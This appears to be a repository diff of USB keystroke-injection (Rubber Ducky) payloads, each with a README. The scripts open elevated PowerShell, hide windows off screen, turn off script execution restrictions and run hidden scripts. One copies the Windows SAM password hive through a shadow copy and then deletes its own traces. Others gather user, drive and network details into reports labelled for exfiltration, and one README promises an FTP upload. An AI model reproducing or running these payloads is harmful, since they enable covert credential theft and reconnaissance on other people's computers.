STRING $CurrName = $CompInfo.RegisteredUser
|
||||
ENTER
|
||||
STRING if ($CompInfo -ne $null){
|
||||
ENTER
|
||||
STRING $Report = $Report + '<tr><td><b>IP Address:</b></td><td>' + $CurrIP + '</td><td><b>Compter Name: </b></td><td>' + $CompName + '</td><td><b>User Name: </b></td><td>' + $CurrName + '</td> <td><b>OS:</b> </td><td>' + $CurrOS + '</td></tr><br>'
|
||||
ENTER
|
||||
STRING }else{
|
||||
ENTER
|
||||
STRING $Report = $Report + '<tr><td><b>IP Address: </b></td><td>' + $CurrIP + '</td><td><b>Computer Name: </b></td><td>NOT KNOWN</td><td><b>User Name: </b></td><td>NOT KNOWN</td><td><b>OS:</b></td><td>NOT KNOWN</td></tr><br>'}
|
||||
ENTER
|
||||
STRING $x ++
|
||||
ENTER
|
||||
STRING } while ($x -lt $ScanResults.Count)
|
||||
ENTER
|
||||
STRING $Report = $Report + '</table></div>'
|
||||
ENTER
|
||||
+41
@@ -0,0 +1,41 @@
|
||||
|
||||
# Exfiltrate Network
|
||||
This script will exfiltrate the network and uplaod the report to an ftp server.
|
||||
|
||||
## How to use?
|
||||
|
||||
This script is not plug and play. You need to do the following changes:
|
||||
|
||||
- change the two numbers 1-225 into a number from 1-225 ;)
|
||||
- "STRING $ScanResults = 1-225..1-225 | ForEach-Object {($Ping).Send($IpAddr + $_) } | Where-Object {$_.Status -eq 'Success'} | select Address "
|
||||
- Would be --> $ScanResults = 1..169 (for example)
|
||||
|
||||
|
||||
## Features
|
||||
|
||||
- open powershell
|
||||
- exfiltrate network
|
||||
- upload report to server
|
||||
|
||||
|
||||
|
||||
## Feedback
|
||||
|
||||
If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662".
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
## Support
|
||||
|
||||
For support, contact me via Discord "UNC0V3R3D#8662".
|
||||
|
||||
|
||||
## Meta
|
||||
|
||||
|
||||
- If you want to sponsor me on Patreon, the link is on my profile.
|
||||
|
||||
|
||||
@@ -0,0 +1,108 @@
|
||||
REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord)
|
||||
REM Description: Extracts Security Account Manager of the PC to a file.
|
||||
REM Version: 1.0
|
||||
REM Category: Exfiltration
|
||||
DELAY 750
|
||||
GUI r
|
||||
DELAY 1000
|
||||
STRING powershell Start-Process notepad -Verb runAs
|
||||
ENTER
|
||||
DELAY 750
|
||||
ALT y
|
||||
DELAY 750
|
||||
ENTER
|
||||
ALT SPACE
|
||||
DELAY 1000
|
||||
STRING m
|
||||
DELAY 1000
|
||||
DOWNARROW
|
||||
REPEAT 100
|
||||
ENTER
|
||||
STRING $folderDateTime = (get-date).ToString('d-M-y HHmmss')
|
||||
ENTER
|
||||
STRING $userDir = (Get-ChildItem env:\userprofile).value + '\Ducky Report ' + $folderDateTime
|
||||
ENTER
|
||||
STRING $fileSaveDir = New-Item ($userDir) -ItemType Directory
|
||||
ENTER
|
||||
STRING $date = get-date
|
||||
ENTER
|
||||
STRING $style = "<style> table td{padding-right: 10px;text-align: left;}#body {padding:50px;font-family: Helvetica; font-size: 12pt; border: 10px solid black;background-color:white;height:100%;overflow:auto;}#left{float:left; background-color:#C0C0C0;width:45%;height:260px;border: 4px solid black;padding:10px;margin:10px;overflow:scroll;}#right{background-color:#C0C0C0;float:right;width:45%;height:260px;border: 4px solid black;padding:10px;margin:10px;overflow:scroll;}#center{background-color:#C0C0C0;width:98%;height:300px;border: 4px solid black;padding:10px;overflow:scroll;margin:10px;} </style>"
|
||||
ENTER
|
||||
STRING $Report = ConvertTo-Html -Title 'Recon Report' -Head $style > $fileSaveDir'/ComputerInfo.html'
|
||||
ENTER
|
||||
STRING $Report = $Report + "<div id=body><h1>Duck Tool Kit Report</h1><hr size=2><br><h3> Generated on: $Date </h3><br>"
|
||||
ENTER
|
||||
STRING $createShadow = (gwmi -List Win32_ShadowCopy).Create('C:\', 'ClientAccessible')
|
||||
ENTER
|
||||
STRING $shadow = gwmi Win32_ShadowCopy | ? { $_.ID -eq $createShadow.ShadowID }
|
||||
ENTER
|
||||
STRING $addSlash = $shadow.DeviceObject + '\'
|
||||
ENTER
|
||||
STRING cmd /c mklink C:\shadowcopy $addSlash
|
||||
ENTER
|
||||
STRING Copy-Item 'C:\shadowcopy\Windows\System32\config\SAM' $fileSaveDir
|
||||
ENTER
|
||||
STRING Remove-Item -recurse -force 'C:\shadowcopy'
|
||||
ENTER
|
||||
STRING $Report >> $fileSaveDir'/ComputerInfo.html'
|
||||
ENTER
|
||||
STRING function copy-ToZip($fileSaveDir){
|
||||
ENTER
|
||||
STRING $srcdir = $fileSaveDir
|
||||
ENTER
|
||||
STRING $zipFile = 'C:\Windows\Report.zip'
|
||||
ENTER
|
||||
STRING if(-not (test-path($zipFile))) {
|
||||
ENTER
|
||||
STRING set-content $zipFile ("PK" + [char]5 + [char]6 + ("$([char]0)" * 18))
|
||||
ENTER
|
||||
STRING (dir $zipFile).IsReadOnly = $false}
|
||||
ENTER
|
||||
STRING $shellApplication = new-object -com shell.application
|
||||
ENTER
|
||||
STRING $zipPackage = $shellApplication.NameSpace($zipFile)
|
||||
ENTER
|
||||
STRING $files = Get-ChildItem -Path $srcdir
|
||||
ENTER
|
||||
STRING foreach($file in $files) {
|
||||
ENTER
|
||||
STRING $zipPackage.CopyHere($file.FullName)
|
||||
ENTER
|
||||
STRING while($zipPackage.Items().Item($file.name) -eq $null){
|
||||
ENTER
|
||||
STRING Start-sleep -seconds 1 }}}
|
||||
ENTER
|
||||
STRING copy-ToZip($fileSaveDir)
|
||||
ENTER
|
||||
STRING remove-item $fileSaveDir -recurse
|
||||
ENTER
|
||||
STRING Remove-Item $MyINvocation.InvocationName
|
||||
ENTER
|
||||
CTRL s
|
||||
DELAY 750
|
||||
STRING C:\Windows\config-98437.ps1
|
||||
ENTER
|
||||
DELAY 1000
|
||||
ALT F4
|
||||
DELAY 750
|
||||
GUI r
|
||||
DELAY 500
|
||||
STRING powershell Start-Process cmd -Verb runAs
|
||||
ENTER
|
||||
DELAY 1000
|
||||
ALT y
|
||||
DELAY 750
|
||||
STRING mode con:cols=14 lines=1
|
||||
ENTER
|
||||
ALT SPACE
|
||||
DELAY 750
|
||||
STRING m
|
||||
DELAY 1000
|
||||
DOWNARROW
|
||||
REPEAT 100
|
||||
ENTER
|
||||
STRING powershell Set-ExecutionPolicy 'Unrestricted' -Scope CurrentUser -Confirm:$false
|
||||
ENTER
|
||||
DELAY 750
|
||||
STRING powershell.exe -windowstyle hidden -File C:\Windows\config-98437.ps1
|
||||
ENTER
|
||||
@@ -0,0 +1,39 @@
|
||||
|
||||
# SAMexfil
|
||||
This script extracts the Security Account Manager (SAM) of the PC and saves it to a file.
|
||||
|
||||
## How to use?
|
||||
|
||||
This script is not plug and play. You need to do the following changes:
|
||||
|
||||
- change path for the file "-DestinationPath PATH\results-61748762.zip"
|
||||
|
||||
|
||||
## Features
|
||||
|
||||
- open powershell
|
||||
- copy SAM profile
|
||||
- store it to a file
|
||||
|
||||
|
||||
|
||||
## Feedback
|
||||
|
||||
If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662".
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
## Support
|
||||
|
||||
For support, contact me via Discord "UNC0V3R3D#8662".
|
||||
|
||||
|
||||
## Meta
|
||||
|
||||
|
||||
- If you want to sponsor me on Patreon, the link is on my profile.
|
||||
|
||||
|
||||
+39
@@ -0,0 +1,39 @@
|
||||
REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord)
|
||||
REM Description: Saves some general Information about the USB and Harddrives that are/were connected to the target pc and stores them into a file.
|
||||
REM Version: 1.0
|
||||
REM Category: Exfiltration
|
||||
DELAY 750
|
||||
WINDOWS d
|
||||
DELAY 900
|
||||
WINDOWS r
|
||||
DELAY 900
|
||||
STRING powershell Start-Process powershell -Verb runAs
|
||||
ENTER
|
||||
DELAY 750
|
||||
LEFTARROW
|
||||
ENTER
|
||||
DELAY 900
|
||||
ALT y
|
||||
DELAY 900
|
||||
GUI UP
|
||||
DELAY 900
|
||||
STRING $folderDateTime = (get-date).ToString('d-M-y HHmmss');$userDir = (Get-ChildItem env:\userprofile).value + '\Walkuer Ghost ' + $folderDateTime;$fileSaveDir = New-Item ($userDir) -ItemType Directory;$date = get-date;$style = '<style> table td{padding-right: 10px;text-align: left;}#body {padding:50px;font-family: Helvetica; font-size: 12pt; border: 10px solid black;background-color:white;height:100%;overflow:auto;}#left{float:left; background-color:#C0C0C0;width:45%;height:260px;border: 4px solid black;padding:10px;margin:10px;overflow:scroll;}#right{background-color:#C0C0C0;float:right;width:45%;height:260px;border: 4px solid black;padding:10px;margin:10px;overflow:scroll;}#center{background-color:#C0C0C0;width:98%;height:300px;border: 4px solid black;padding:10px;overflow:scroll;margin:10px;} </style>';$Report = ConvertTo-Html -Title 'Recon Report' -Head $style > $fileSaveDir'/ComputerInfo-68597243.html';$Report = $Report + '<div id=body><h1>Walkuer Ghost Report</h1><hr size=2><br><h3> Generated on: $Date </h3><br>';$u = 0;$allUsb = @(get-wmiobject win32_volume | select Name, Label, FreeSpace);$Report = $Report + '<div id=right><h3>USB Devices</h3><table>'
|
||||
ENTER
|
||||
STRING do {
|
||||
ENTER
|
||||
STRING $gbUSB = [math]::truncate($allUsb[$u].FreeSpace / 1GB)
|
||||
ENTER
|
||||
STRING $Report = $Report + '<tr><td>Drive Name: </td><td>' + $allUsb[$u].Name + $allUsb[$u].Label + '</td><td>Free Space: </td><td>' + $gbUSB + 'GB</td></tr>'
|
||||
ENTER
|
||||
STRING Write-Output $fullUSB
|
||||
ENTER
|
||||
STRING $u ++
|
||||
ENTER
|
||||
STRING } while ($u -lt $allUsb.Count)
|
||||
ENTER
|
||||
STRING $Report = $Report + '</table></div>'
|
||||
ENTER
|
||||
STRING $Report >> $fileSaveDir'/ComputerInfo-68597243.html'
|
||||
ENTER
|
||||
STRING Compress-Archive -Path $fileSaveDir -DestinationPath PATH TO SAVE FILE HERE\HEREresults-68597243.zip ; exit
|
||||
ENTER
|
||||
+38
@@ -0,0 +1,38 @@
|
||||
|
||||
# USB_And_Harddrive_Information
|
||||
Saves some general Information about the USB and Harddrives that are/were connected to the target pc and stores them into a file.
|
||||
|
||||
## How to use?
|
||||
|
||||
This script is not plug and play. You need to do the following changes:
|
||||
|
||||
- change the path of the file "-DestinationPath PATH TO SAVE FILE HERE\HEREresults-68597243.zip"
|
||||
|
||||
|
||||
## Features
|
||||
|
||||
- open powershell
|
||||
- get hardware info
|
||||
- save infos to a file
|
||||
|
||||
|
||||
## Feedback
|
||||
|
||||
If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662".
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
## Support
|
||||
|
||||
For support, contact me via Discord "UNC0V3R3D#8662".
|
||||
|
||||
|
||||
## Meta
|
||||
|
||||
|
||||
- If you want to sponsor me on Patreon, the link is on my profile.
|
||||
|
||||
|
||||
+21
@@ -0,0 +1,21 @@
|
||||
REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord)
|
||||
REM Description: Saves some general Info about the current Win-User.
|
||||
REM Version: 1.0
|
||||
REM Category: Exfiltration
|
||||
DELAY 750
|
||||
WINDOWS d
|
||||
DELAY 900
|
||||
WINDOWS r
|
||||
DELAY 900
|
||||
STRING powershell Start-Process powershell -Verb runAs
|
||||
ENTER
|
||||
DELAY 750
|
||||
LEFTARROW
|
||||
ENTER
|
||||
DELAY 900
|
||||
ALT y
|
||||
DELAY 900
|
||||
STRING $folderDateTime = (get-date).ToString('d-M-y HHmmss');$userDir = (Get-ChildItem env:\userprofile).value + '\Walkuer Ghost Report ' + $folderDateTime;$fileSaveDir = New-Item ($userDir) -ItemType Directory;$date = get-date;$style = "<style> table td{padding-right: 10px;text-align: left;}#body {padding:50px;font-family: Helvetica; font-size: 12pt; border: 10px solid black;background-color:white;height:100%;overflow:auto;}#left{float:left; background-color:#C0C0C0;width:45%;height:260px;border: 4px solid black;padding:10px;margin:10px;overflow:scroll;}#right{background-color:#C0C0C0;float:right;width:45%;height:260px;border: 4px solid black;padding:10px;margin:10px;overflow:scroll;}#center{background-color:#C0C0C0;width:98%;height:300px;border: 4px solid black;padding:10px;overflow:scroll;margin:10px;} </style>";$Report = ConvertTo-Html -Title 'Recon Report' -Head $style > $fileSaveDir'/ComputerInfo-57059022.html';$Report = $Report + "<div id=body><h1>Walkuer Ghost Report</h1><hr size=2><br><h3> Generated on: $Date </h3><br>";$UserInfo = Get-WmiObject -class Win32_UserAccount -namespace root/CIMV2 | Where-Object {$_.Name -eq $env:UserName}| Select AccountType,SID,PasswordRequired;$UserType = $UserInfo.AccountType;$UserSid = $UserInfo.SID;$UserPass = $UserInfo.PasswordRequired;$IsAdmin = ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] 'Administrator');$Report = $Report + "<div id=left><h3>User Information</h3><br><table><tr><td>Current User Name:</td><td>$env:USERNAME</td></tr><tr><td>Account Type:</td><td> $UserType</td></tr><tr><td>User SID:</td><td>$UserSid</td></tr><tr><td>Account Domain:</td><td>$env:USERDOMAIN</td></tr><tr><td>Password Required:</td><td>$UserPass</td></tr><tr><td>Current User is Admin:</td><td>$IsAdmin</td></tr></table>";$Report = $Report + "</div>";$Report >> $fileSaveDir'/ComputerInfo-57059022.html'
|
||||
ENTER
|
||||
STRING Compress-Archive -Path $fileSaveDir -DestinationPath C:\PATH TO SAVE HERE\FILEresults-57059022.zip ; exit
|
||||
ENTER
|
||||
+38
@@ -0,0 +1,38 @@
|
||||
|
||||
# Win_User_Info
|
||||
Saves some general Info about the current Win-User and stores it to a file.
|
||||
|
||||
## How to use?
|
||||
|
||||
This script is not plug and play. You need to do the following changes:
|
||||
|
||||
- change the path of the file "C:\PATH TO SAVE HERE\FILEresults-57059022.zip"
|
||||
|
||||
|
||||
## Features
|
||||
|
||||
- open powershell
|
||||
- get win user info
|
||||
- save info to a file
|
||||
|
||||
|
||||
## Feedback
|
||||
|
||||
If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662".
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
## Support
|
||||
|
||||
For support, contact me via Discord "UNC0V3R3D#8662".
|
||||
|
||||
|
||||
## Meta
|
||||
|
||||
|
||||
- If you want to sponsor me on Patreon, the link is on my profile.
|
||||
|
||||
|
||||
Reference in New Issue
Block a user